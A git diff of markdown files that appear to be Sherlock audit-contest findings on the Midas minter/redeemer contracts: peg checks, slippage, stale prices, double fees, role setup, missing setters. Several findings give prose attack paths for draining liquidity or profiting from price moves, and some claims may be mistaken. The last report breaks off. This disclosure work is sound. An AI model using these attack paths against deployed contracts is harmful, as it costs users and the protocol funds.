+Medium
+
+# Slippage parameter for `RedemptionVaultWIthBUIDL.sol#RedeemInstant` may be unfulfilled.
+
+
+## Summary
+
+Slippage parameter for `RedemptionVaultWIthBUIDL.sol#RedeemInstant` may be unfulfilled.
+
+## Vulnerability Detail
+
+When users are redeeming from `RedemptionVaultWIthBUIDL`, they may set a slippage parameter `minReceiveAmount`. The `minReceiveAmount` is in 18 decimals, even though the out token must be USDC.
+
+The issue is, when checking the slippage parameter, `amountTokenOutWithoutFee` is used. But during token transfer, `amountTokenOutWithoutFee.convertFromBase18(tokenDecimals).convertToBase18(tokenDecimals)` is used, which is the same as `amountTokenOutWithoutFee / 10**12 * 10**12`.
+
+Since `amountTokenOutWithoutFee / 10**12 * 10**12 < amountTokenOutWithoutFee` due to rounding error, it may occur that `amountTokenOutWithoutFee` fulfills the slippage parameter, but the actual amount doesn't.
+
+```solidity
+ /**
+ * @notice redeem mToken to USDC if daily limit and allowance not exceeded
+ * If contract don't have enough USDC, BUIDL redemption flow will be triggered
+ * Burns mToken from the user.
+ * Transfers fee in mToken to feeReceiver
+ * Transfers tokenOut to user.
+ * @param tokenOut token out address, always ignore
+ * @param amountMTokenIn amount of mToken to redeem
+ * @param minReceiveAmount minimum expected amount of tokenOut to receive (decimals 18)
+ */
+ function redeemInstant(
+ address tokenOut,
+ uint256 amountMTokenIn,
+ uint256 minReceiveAmount
+ )
+ external
+ override
+ whenFnNotPaused(this.redeemInstant.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ {
+ ...
+
+ uint256 amountTokenOutWithoutFee = (amountMTokenWithoutFee *
+ mTokenRate) / tokenOutRate;
+
+ require(
+@> amountTokenOutWithoutFee >= minReceiveAmountCopy,
+ "RVB: minReceiveAmount > actual"
+ );
+
+ uint256 amountTokenOutWithoutFeeFrom18 = amountTokenOutWithoutFee
+ .convertFromBase18(tokenDecimals);
+
+ _checkAndRedeemBUIDL(tokenOutCopy, amountTokenOutWithoutFeeFrom18);
+
+ _tokenTransferToUser(
+ tokenOutCopy,
+ user,
+@> amountTokenOutWithoutFeeFrom18.convertToBase18(tokenDecimals),
+ tokenDecimals
+ );
+
+ emit RedeemInstant(
+ user,
+ tokenOutCopy,
+ amountMTokenInCopy,
+ feeAmount,
+ amountTokenOutWithoutFee
+ );
+ }
+```
+
+## Impact
+
+Users may receive less tokens than the slippage parameter.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L132-L135
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Change the slippage check to use the actual transferred amount.
\ No newline at end of file
diff --git a/117.md b/117.md
new file mode 100644
index 0000000..508419a
--- /dev/null
+++ b/117.md
@@ -0,0 +1,41 @@
+Upbeat Chili Goat
+
+High
+
+# The oracle is missing the stablecoin peg check, which may cause the protocol to be compromised.
+
+### Summary
+
+[The document ](https://ludicrous-rate-748.notion.site/Users-can-instantly-redeem-b5e16e291d784af9bb250b4a2013a542)explains that if the price of the stable currency exceeds a certain range, it cannot be exchanged. But there is no peg check in the contract. Moreover, the protocol will always use 1 USD as the price of the stablecoin. If the stablecoin is decoupled, arbitrage may be carried out through this protocol, posing a threat to the protocol.
+> When the token_out is a stablecoin, the minting can only happen if the token_out is within its peg [0.997, 1.003] according to the chainlink oracle, and we apply 1 stablecoin = 1 USD for the exchange rate. We need to anticipate that we may have to ingest other price feeds on other EVM chains.
+
+### Root Cause
+
+[The contract is missing the stablecoin peg check and always treats the stablecoin price as 1.](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L609-L613)
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+Stablecoin prices are decoupled.
+
+### Attack Path
+
+Assuming the USDC price is decoupled, its market price is much higher than 1USD.
+The protocol still treats its price as 1USD.
+
+The attacker deposits BTC to obtain mToken, and then uses the mToken to redeem USDC. In this way, USDC will still be settled according to 1USD, and the attacker will obtain more USDC, and then sell it in the market to make a profit. The final total USDC value is greater than the initial total BTC value. The protocol lost more USDC.
+
+### Impact
+
+The protocol may result in loss of funds.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add stablecoin peg check, and it is better to use real USD price, do not use 1 directly.
\ No newline at end of file
diff --git a/123.md b/123.md
new file mode 100644
index 0000000..c60dd5b
--- /dev/null
+++ b/123.md
@@ -0,0 +1,44 @@
+Atomic Coffee Halibut
+
+High
+
+# Possible DOS in MBasisRedemptionVaultWithSwapper::redeemInstant
+
+### Summary
+
+malicious user can render MBasisRedemptionVaultWithSwapper inoperable for a period of time
+
+### Root Cause
+
+instant fee and token fee can be zero
+
+### Internal pre-conditions
+
+According to contest readme:
+> All percentages should be <= 100% All percentages for fees should be also be >= 0 (except of ManageableVault::_variationTolerance - it should be > 0)
+
+- depositInstantFee = 0
+- redeemInstantFee = 0
+- tokenFee = 0
+- and token's allowance by default is 2^256
+- daily allowance has to be greater than liquidityProvider's balance
+- MBasisRedemptionVaultWithSwapper's balance wouldn't be enough
+
+### Attack Path
+**Textual PoC:**
+- 1- user [deposit](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L79) 100 usdc and get 100 basis token
+- 2- user call `MBasisRedemptionVaultWithSwapper::redeemInstant` to [redeem](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L88) 100usdc
+- 3- [MBasisRedemptionVaultWithSwapper send 100 basis to liquidity provider and get 100 mtbill token from liquidity provider](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L147)
+- 4- MBasisRedemptionVaultWithSwapper calls [`RedeemptionVault::redeemInstant`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L154) and get 100 usdc accordingly and sends that to user
+- 5- user repeat step1 to step 4 til liquidityProvider's mtbill balance become zero
+- 6-finally every user call `MBasisRedemptionVaultWithSwapper::redeemInstant` get error[insufficent balance]
+
+### Impact
+
+MBasisRedemptionVaultWithSwapper will be paused until admins rebalance liquidityProvider
+
+
+
+### Mitigation
+
+instantFee for deposit and redeem should be greater than zero
\ No newline at end of file
diff --git a/124.md b/124.md
new file mode 100644
index 0000000..fdd5f56
--- /dev/null
+++ b/124.md
@@ -0,0 +1,125 @@
+Funny Vanilla Lark
+
+Medium
+
+# Deposit request and redeem request lacks complete slippage protection
+
+## Summary
+Impact: slippage loss to user due to volatile token rate when requesting deposit or redeem actions. Instant deposits and redeems are well protected by slippage, but request actions are not protected when requesting. And its a loss to user even if new token rate during approval is < 0.01% variation tolerance.
+User has no control over at what token rate he wants to register.
+
+The issue exists on tokens rate used on both deposit/redeem requests.
+
+## Vulnerability Detail
+The `approve request` checks whether the new out rate is within the variation toleration with respective to requested tokenout rate. But user has no control over at what rate the request is registered.
+
+Issue flow :
+1. Its a hot volatile day, maybe CPI news/whale action/black swan/hack, and the token used to deposit is volatile (token rate from Oracle)
+2. Since the instant limit for that day is reached, the user calls the deposit request on L154 below and input which token In and how much amount. Example, he wants to input 1 wBTC at $60000 token rate.
+3. But before adding it to the block, the price was updated to $60500, a ~1% pump. And on L208, the new pumped rate is registered (60500 instead of user's intended 60000)
+4. Seeig the request, the admin approves the request with new token rate < 0.01% variation tolerance, example $60510
+5. Now user will get less mTokens minted because teh price of the `tokenIn` got pumped.As a user, I don't want to get minted mTokens at sudden inflated price. An adding a slippage parameter would have gave power to user to choose maximum acceptable rates.
+
+This is a slippage loss to user and he doesn't want to go more than 0.5% ($60250), but it pumped to 60500. And user has no control over the rate that gets registered.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L148-L202
+
+```solidity
+DepositVault.sol
+
+154: function depositRequest( address tokenIn, uint256 amountToken, bytes32 referrerId)
+159: external
+---- SNIP ----
+164: returns (uint256 requestId)
+165: {
+---- SNIP ----
+200:
+201: mintRequests[currentId] = Request({
+202: sender: user,
+203: tokenIn: tokenInCopy,
+204: status: RequestStatus.Pending,
+205: depositedUsdAmount: tokenAmountInUsd,
+206: usdAmountWithoutFees: (amountTokenWithoutFee * tokenInRate) /
+207: 10**18,
+208: >>> tokenOutRate: tokenOutRate
+209: });
+220: }
+
+```
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L316-L322
+
+```solidity
+311: function _approveRequest(
+312: uint256 requestId,
+313: uint256 newOutRate,
+314: bool isSafe
+315: ) private {
+316: Request memory request = mintRequests[requestId];
+317:
+318: require(request.sender != address(0), "DV: request not exist");
+319: require(
+320: request.status == RequestStatus.Pending,
+321: "DV: request not pending"
+322: );
+323:
+324: if (isSafe)
+325: >>> _requireVariationTolerance(request.tokenOutRate, newOutRate);
+326:
+327: >>> uint256 amountMToken = (request.usdAmountWithoutFees * (10**18)) /
+328: newOutRate;
+329:
+330: mToken.mint(request.sender, amountMToken);
+331:
+332: totalMinted[request.sender] += amountMToken;
+333:
+334: request.status = RequestStatus.Processed;
+335: request.tokenOutRate = newOutRate;
+336: mintRequests[requestId] = request;
+337: }
+
+```
+
+## Impact
+slippage loss to user due to volatile token rate when requesting deposit or redeem actions. Instant deposits and redeems are well protected by slippage, but request actions are not protected when requesting . And its a loss to user even if new token rate during approval is < 0.01% variation tolerance. Issue exists on tokens rate used on both deposit/redeem requests.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L148-L202
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L316-L322
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Do the opposite, minimum Token rate in redeem action
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/DepositVault.sol#L148-L202
+```diff
+ function depositRequest(
+ address tokenIn,
+ uint256 amountToken,
+ bytes32 referrerId,
++ uint256 maxTokenRate
+ )
+ ---- SNIP ----
+ returns (uint256 requestId)
+ {
+ ---- SNIP ----
+
+ mintRequests[currentId] = Request({
+ sender: user,
+ tokenIn: tokenInCopy,
+ status: RequestStatus.Pending,
+ depositedUsdAmount: tokenAmountInUsd,
+ usdAmountWithoutFees: (amountTokenWithoutFee * tokenInRate) /
+ 10**18,
+ tokenOutRate: tokenOutRate
+ });
+
++ require(tokenOutRate <= maxTokenRate);
+
+ ---- SNIP ----
+ }
+```
\ No newline at end of file
diff --git a/126.md b/126.md
new file mode 100644
index 0000000..00d4dcd
--- /dev/null
+++ b/126.md
@@ -0,0 +1,48 @@
+Winning Jetblack Salmon
+
+Medium
+
+# Contradiction between the Specification and the Code in the `MBasisRedemptionVaultWithSwapper` contract.
+
+## Summary
+
+The instant redemption fee should be given to the LP if the redemption is performed via swap functionality. However, in the current code, the fee is transferred to the `feeReceiver` in all cases of redemption.
+
+## Vulnerability Details
+
+There is a contradiction between the code and the specification: https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mBASIS-for-USDC-via-a-mBASIS-mTBILL-swap-and-an-57e8d19b1c2242e8af50db5c8592532b
+
+```text
+# Specific features
+
+- ...
+- ... , the liquidity provider will receive most of the fees (instant redemption feature applied on mBASIS).
+```
+
+In the current code, fees are transferred to the `feeReceiver` in all cases:
+
+```solidity
+File: MBasisRedemptionVaultWithSwapper.sol
+131: if (feeAmount > 0)
+132: _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18); // <== contradiction with specification, incorrect fee distribution
+```
+
+This issue results in incorrect fee distribution in the `MBasisRedemptionVaultWithSwapper` contract.
+
+## Impact
+
+Contradiction with the specification. Incorrect fee distribution.
+
+As stated by the protocol in the README: `Please note that discrepancies between the spec and the code can be reported as issues`.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L131-L132
+
+## Tools used
+
+Manual review.
+
+## Recommendations
+
+Update the specification or the code to ensure consistency.
\ No newline at end of file
diff --git a/128.md b/128.md
new file mode 100644
index 0000000..55e2dab
--- /dev/null
+++ b/128.md
@@ -0,0 +1,60 @@
+Atomic Coffee Halibut
+
+High
+
+# buidl tokens will be locked in RedemptionVaultWIthBUIDL
+
+### Summary
+
+Integration issues with BUIDL, in the case blackrock decides to set a minimum amount of BUIDL tokens that should be held by its holders.
+
+### Root Cause
+
+Blackrock implements a minUSTokens; variable where it sets a minimum amount to be held by the whitelisted addresses at all times. This check is done at every transfer. Currently, this is set to 0; but this could be set by blackrock at anytime.
+
+```solidity
+// get min us tokens
+ function getMinUSTokens() public view override returns (uint256) {
+ return minUSTokens;
+ }
+
+ // set min us tokens
+ function setMinUSTokens(uint256 _value) public override onlyTransferAgentOrAbove {
+ emit DSComplianceUIntRuleSet("minUSTokens", minUSTokens, _value);
+ minUSTokens = _value;
+ }
+```
+
+This is the code from the BUIDL token's [contracts/compliance/ComplianceConfigurationService.Sol](https://etherscan.deth.net/token/0x7712c34205737192402172409a8f7ccef8aa2aec#code) where the admin could set values for minUSTokens.
+
+Also the line 238 in the [contracts/compliance/Compliance/ServiceRegulated.sol](https://etherscan.deth.net/token/0x7712c34205737192402172409a8f7ccef8aa2aec#code) is called when transferring token.
+
+```solidity
+This essentially checks that the sender has at least the minimum amount of tokens after the transfer.
+```
+
+This essentially checks that the sender has at least the minimum amount of tokens after the transfer.
+
+the problem is here build tokens will be [redeemed](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L140) by `RedemptionVaultWIthBUIDL` based on users' input,causing buidl tokens will be locked in contract if contract build balance be less than min amount
+
+### External pre-conditions
+
+buidl's admin sets min amount
+
+### Impact
+
+buidl tokens will be locked in RedemptionVaultWIthBUIDL
+### Mitigation
+
+```diff
+@@ -172,6 +180,9 @@ contract RedemptionVaultWIthBUIDL is RedemptionVault {
+ uint256 buidlToRedeem = amountTokenOut - contractBalanceTokenOut;
+
+ buidl.safeIncreaseAllowance(address(buidlRedemption), buidlToRedeem);
+- buidlRedemption.redeem(buidlToRedeem);
++ if(buidl.balanceOf(address(this)) - buidlToRedeem < MIN_AMOUNT)
++ buidlRedemption.redeem(buidl.balanceOf(address(this)));
++ else
++ buidlRedemption.redeem(buidlToRedeem);
+ }
+```
\ No newline at end of file
diff --git a/129.md b/129.md
new file mode 100644
index 0000000..8703d08
--- /dev/null
+++ b/129.md
@@ -0,0 +1,38 @@
+Breezy Sandstone Goose
+
+High
+
+# treating token as decimal 18 even when they aren't lead to loss of fund
+
+### Summary
+
+in the function **depositVault.depositRequest** the argument **amountToken** is always treated as decimal 18 even when the token decimal is not 18 which will lead to wrong calculation in the process of converting the token into usd and in line 180 when transferring the token it will lead to transfering only a small amount because of line 180 function **_tokenTransferFromUser** treats **amountTokenWithoutFee** as decimal 18 and tries to convert it into the original decimal amount and transfer the token from the user so if the original amount is less than 18 the function **_tokenTransferFromUser** treats **amountTokenWithoutFee** as decimal 18 and tries to convert it into the orginal amount which will be a small amount
+
+### Root Cause
+
+in DepositVault.sol line 150 treats the token as decimal 18 even if it is not and tries to convert it into the original value which will lead to transfer only a small amount if the token is less than 18
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L115
+
+### Internal pre-conditions
+
+then token decimal should be less than 18 decimal
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+deposit a token which have less than 18 decimal
+
+### Impact
+
+the user is only forced to transfer only small amount because of the conversation but when redeeming can get more than than he deposited
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+convert the token into decimal 18 on the first place
\ No newline at end of file
diff --git a/131.md b/131.md
new file mode 100644
index 0000000..d0ea9de
--- /dev/null
+++ b/131.md
@@ -0,0 +1,58 @@
+Atomic Coffee Halibut
+
+High
+
+# stale price will be used in approveRequest
+
+### Summary
+
+payment token's price changing have loss of funds for protocol
+
+### Root Cause
+
+`DepositVault::approveRequest` uses stale price
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L319
+
+
+
+### External pre-conditions
+
+According to readme:
+> The protocol only accepts whitelisted tokens (e.g. USDC, WBTC, mTBILL, mBASIS)
+
+users can use WBTC as payemnt token
+increase wbtc'price
+
+### Impact
+
+loss of funds for protocol
+
+### PoC
+
+**Textual PoC:**
+1-user submit a deposit request with token_in's amount 1 wbtc when wbtc'price is 50,000 usd and mtbill's rate is 1:1 its mean user get 50,000 mtbill token
+according to specification:
+> The admin will usually want to fulfill the subscription and mint the tokens. In that scenario, he specifies an exchange rate. In the vast majority of cases, the exchange rate used will match the exchange rate from the time of the subscription request.
+
+2-admin approve request with 1:1 rate and send it to network
+3-when approve request tx is pend,wbtc'price goes from 50K to 40K
+4-user get 50k mtbill tokens instead of 40k
+
+### Mitigation
+compare current amountTokenWithoutFee with request.amountTokenWithoutFee in `DepositVault::approveRequest`
+```diff
+@@ -313,11 +311,16 @@ contract DepositVault is ManageableVault, IDepositVault {
+ "DV: request not pending"
+ );
+
++ (,uint256 amountTokenWithoutFee,,,,) = _calcAndValidateDeposit(request.user, request.tokenInCopy, request.amountTokenCopy, false);
++ require(amountTokenWithoutFee >= request.usdAmountWithoutFees,"err")
++
+ if (isSafe)
+- _requireVariationTolerance(request.tokenOutRate, newOutRate);
++ _requireVariationTolerance(request.tokenOutRate, newOutRate);//@audit user can get mtbill token less than expected
+
+ uint256 amountMToken = (request.usdAmountWithoutFees * (10**18)) /
+- newOutRate;
++ newOutRate;//@audit stale price
+```
\ No newline at end of file
diff --git a/134.md b/134.md
new file mode 100644
index 0000000..1d2f65a
--- /dev/null
+++ b/134.md
@@ -0,0 +1,46 @@
+Dizzy Coffee Yak
+
+Medium
+
+# Double Fee Calculation will Overcharge Users During Token Redemption in mBASIS Swap Path
+
+### Summary
+
+The redundant fee calculation will cause an excessive fee charge for users as the redemption process will apply fees twice during a single redemption operation when redeeming mBASIS via Swap to mTBILL path.
+
+### Root Cause
+
+In MBasisRedemptionVaultWithSwapper.sol and RedemptionVault.sol (or RedemptionVaultWithBUIDL.sol), the fee calculation is performed twice without proper coordination, leading to double fee charging during the swap path at https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L105 and https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L141
+Please note there is no mention or enforcement that mTBILL redemption vaults will have mBASIS redemption vaults waived from fee.
+
+### Internal pre-conditions
+
+User needs to initiate a redemption of mBasis tokens when the contract doesn't have enough balance of the requested token.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls redeemInstant function in MBasisRedemptionVaultWithSwapper with a large amount of mBasis tokens.
+2. MBasisRedemptionVaultWithSwapper calculates and deducts the first fee.
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L105
+
+4. Due to insufficient balance, the contract swaps mBasis to mTBILL using mBasis amount after deducting fee: `amountMTokenWithoutFee`
+5. The contract calls redeemInstant on mTbillRedemptionVault with swapped mTBILL from above -`mTbillAmount`
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L154
+6. RedemptionVault calculates and deducts a second fee at [https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L138-L141](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L138-L141)
+
+### Impact
+
+The users suffer an loss of an additional fee percentage on their redemption amount. The protocol gains this extra fee from users unintentionally.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add MBasisRedemptionVaultWithSwapped to waivedFeeRestriction for mTBILL redemption vaults on intialization/ updates OR implement a mechanism to indicate internal redemption.
\ No newline at end of file
diff --git a/135.md b/135.md
new file mode 100644
index 0000000..b95fe8b
--- /dev/null
+++ b/135.md
@@ -0,0 +1,104 @@
+Funny Vanilla Lark
+
+Medium
+
+# Roles are not assigned properly on EUSD vaults
+
+## Summary
+Root cause: lack of implementation
+Impact: The greenlist operator cannot assign greenlist roles on EUSD vaults, only default admin can assign them.
+
+## Vulnerability Detail
+
+1. `E_USD_GREENLISTED_ROLE` role can be given to user to greenlist him in eusd vaults. And the code comment on line 28 says that `E_USD_GREENLIST_OPERATOR_ROLE` should be the operator. But it is not implemented and default admin `0x00` is the operator of `E_USD_GREENLISTED_ROLE` currently. And role admin cannot be given by doing separate transactions on `accessControl`.
+The only way to do according to the comment is, to create a function that can call `accessControl.grantRole(E_USD_GREENLISTED_ROLE)` in the deposit vault and the only one that can call should be `E_USD_GREENLIST_OPERATOR_ROLE`. Or else `E_USD_GREENLISTED_ROLE` role will be owned by default admin and there's no use of `E_USD_GREENLIST_OPERATOR_ROLE` at all. Or before deploying `accessControl`, add `_setRoleAdmin(GREENLISTED_ROLE, GREENLIST_OPERATOR_ROLE)` to `accessControl.inittilaize` function
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/eUSD/EUsdMidasAccessControlRoles.sol#L29
+
+```solidity
+EUsdMidasAccessControlRoles.sol
+
+12: // @notice actor that can manage vault admin roles
+13: bytes32 public constant E_USD_VAULT_ROLES_OPERATOR =
+14: keccak256("E_USD_VAULT_ROLES_OPERATOR");
+
+16: // @notice actor that can manage EUsdDepositVault
+19: bytes32 public constant E_USD_DEPOSIT_VAULT_ADMIN_ROLE =
+20: keccak256("E_USD_DEPOSIT_VAULT_ADMIN_ROLE");
+
+22: //@notice actor that can manage EUsdRedemptionVault
+25: bytes32 public constant E_USD_REDEMPTION_VAULT_ADMIN_ROLE =
+26: keccak256("E_USD_REDEMPTION_VAULT_ADMIN_ROLE");
+
+28: // @notice actor that can change eUSD green list statuses of addresses
+31: bytes32 public constant E_USD_GREENLIST_OPERATOR_ROLE =
+32: keccak256("E_USD_GREENLIST_OPERATOR_ROLE");
+
+34: //@notice actor that is greenlisted in eUSD
+37: bytes32 public constant E_USD_GREENLISTED_ROLE =
+38: keccak256("E_USD_GREENLISTED_ROLE");
+
+```
+
+
+2. `E_USD_VAULT_ROLES_OPERATOR` should be `actor that can manage vault admin roles` on line 12, but the current admin roles like `pauser` role, `sanctionsListAdminRole` are owned by `vaultAdmin()` which is `E_USD_DEPOSIT_VAULT_ADMIN_ROLE`. Check [here](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L361-L381). So the recommendation here is, assign `pauser` and `sanctionsListAdminRole` to `E_USD_VAULT_ROLES_OPERATOR` instead of `vaultAdmin()`
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L361-L381
+
+```solidity
+EUsdDepositVault.sol
+
+21: function vaultRole() public pure override returns (bytes32) {
+22: return E_USD_DEPOSIT_VAULT_ADMIN_ROLE;
+23: }
+
+ManageableVault.sol
+
+367: function sanctionsListAdminRole() public view virtual override returns (bytes32) {
+374: return vaultRole();
+375: }
+
+380: function pauseAdminRole() public view override returns (bytes32) {
+381: return vaultRole();
+382: }
+
+```
+
+## Impact
+some EUSD roles are not assignable to operators after access control deployment. Some roles are never been assigned and instead are owned by default admin. Since, role management is a core feature of this protocol, giving it a medium impact.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/eUSD/EUsdMidasAccessControlRoles.sol#L29
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L361-L381
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+```diff
+EUsdDepositVault.sol
+
++ function assignGreenlist(address account) onlyRole(E_USD_GREENLIST_OPERATOR_ROLE, msg.sender) public {
++ accessControl.grantrRole(E_USD_GREENLISTED_ROLE, account);
++ }
+
+```
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L361-L381
+
+```diff
+ManageableVault.sol
+
+ function sanctionsListAdminRole() public view virtual override returns (bytes32) {
+- return vaultRole();
++ return E_USD_VAULT_ROLES_OPERATOR;
+ }
+
+ function pauseAdminRole() public view override returns (bytes32) {
+- return vaultRole();
++ return E_USD_VAULT_ROLES_OPERATOR;
+ }
+
+```
\ No newline at end of file
diff --git a/136.md b/136.md
new file mode 100644
index 0000000..18b2e16
--- /dev/null
+++ b/136.md
@@ -0,0 +1,37 @@
+Atomic Coffee Halibut
+
+Medium
+
+# Admin cannot update some global vars based on specification
+
+### Summary
+
+According to readme:
+> Product Requirements (Specifications). Please note that discrepancies between the spec and the code can be reported as issues
+
+> This is the list of parameters that the admin can set and adjust
+- Investment recipient address
+ This is the address that receives the funds sent by investors when requesting a subscription (either instant or standard)
+
+> For each token_in or token_out, the admin can **add** and **update**
+> - token contract address
+> - USD oracle (for checking peg, or compute exchange rates)
+
+
+
+### Root Cause
+
+Admin cannot update `ManageableVault::tokensReceiver` and cannot update dataFeed and contract address
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L28
+
+
+### Impact
+
+updating tokensReceiver is important becuase for any reason admin might loss access to tokensReceiver wallet address
+
+update dataFeed is important when a datafeed become depreacted
+
+
+### Mitigation
+
+add updateTokensReceiver and updateTokenDataFeed functions
\ No newline at end of file
diff --git a/139.md b/139.md
new file mode 100644
index 0000000..31d220c
--- /dev/null
+++ b/139.md
@@ -0,0 +1,62 @@
+Funny Vanilla Lark
+
+Medium
+
+# System can be bricked for a while
+
+## Summary
+Root cause: lack of a function to modify `minAnswer` and `maxAnswer`
+
+## Vulnerability Detail
+
+Both `minAnswer` and `maxAnswer` are set in the initializer at start , then these state can never be upgraded because it lacks the setter function that can upgrade them. If the data feed is for a normal tokenIn and out token, then those state can only be upgraded by removing the token with old data feed and adding the token again with new data feed that has updated min and max values.
+
+If the data feed is used for a mToken, then the issue has more impact if mToken surges/plunges so large breaking these min/max limits, then the min/max values cannot be updated because `mTokenDataFeed` state from deposit/redemption vault also doesn't have a setter function to update the vault to a new data feed. So, if the mToken is volatile or any tokenIn/Out is deemed volatile to break the limits, then its better to have a setter to change these values.
+
+The final solution might be to upgrade the vault to a new implementation that has those setter functions, but that is not the way to do it because the system will be bricked till the update, and this contest scope is focussed on this implementation only.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L47-L97
+
+```solidity
+CustomAggregatorV3CompatibleFeed.sol
+
+ //@notice minimal possible answer that feed can return
+ int192 public minAnswer;
+
+ // @notice maximal possible answer that feed can return
+ int192 public maxAnswer;
+
+83: function initialize(
+84: address _accessControl,
+85: int192 _minAnswer,
+86: int192 _maxAnswer,
+---- SNIP ----
+89: ) external initializer {
+---- SNIP ----
+98: >>> minAnswer = _minAnswer;
+99: >>> maxAnswer = _maxAnswer;
+100: maxAnswerDeviation = _maxAnswerDeviation;
+101: description = _description;
+102: }
+
+```
+
+## Impact
+System can be bricked if answers hit the `minAnswer` and `maxAnswer` due to lack of setter function that updates these min/max answers state.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L47-L97
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add this function to the feed.
+```solidity
+ function setAnswers(int192 _minAnswer, int192 _maxAnswer) public onlyAggregatorAdmin {
+ maxAnswer = _maxAnswer;
+ minAnswer = _minAnswer;
+ }
+```
\ No newline at end of file
diff --git a/140.md b/140.md
new file mode 100644
index 0000000..700a064
--- /dev/null
+++ b/140.md
@@ -0,0 +1,55 @@
+Soaring Magenta Alpaca
+
+Medium
+
+# Some EU sanctions can be easily bypassed
+
+## Summary
+
+The protocol claims to fully comply with German and European Union regulations regarding anti-money laundering, including the adherence to sanctions. However, some EU sanctions imposed in response to Russia's aggression against Ukraine can be easily bypassed using the transfer of mTBILL tokens.
+
+## Vulnerability Detail
+
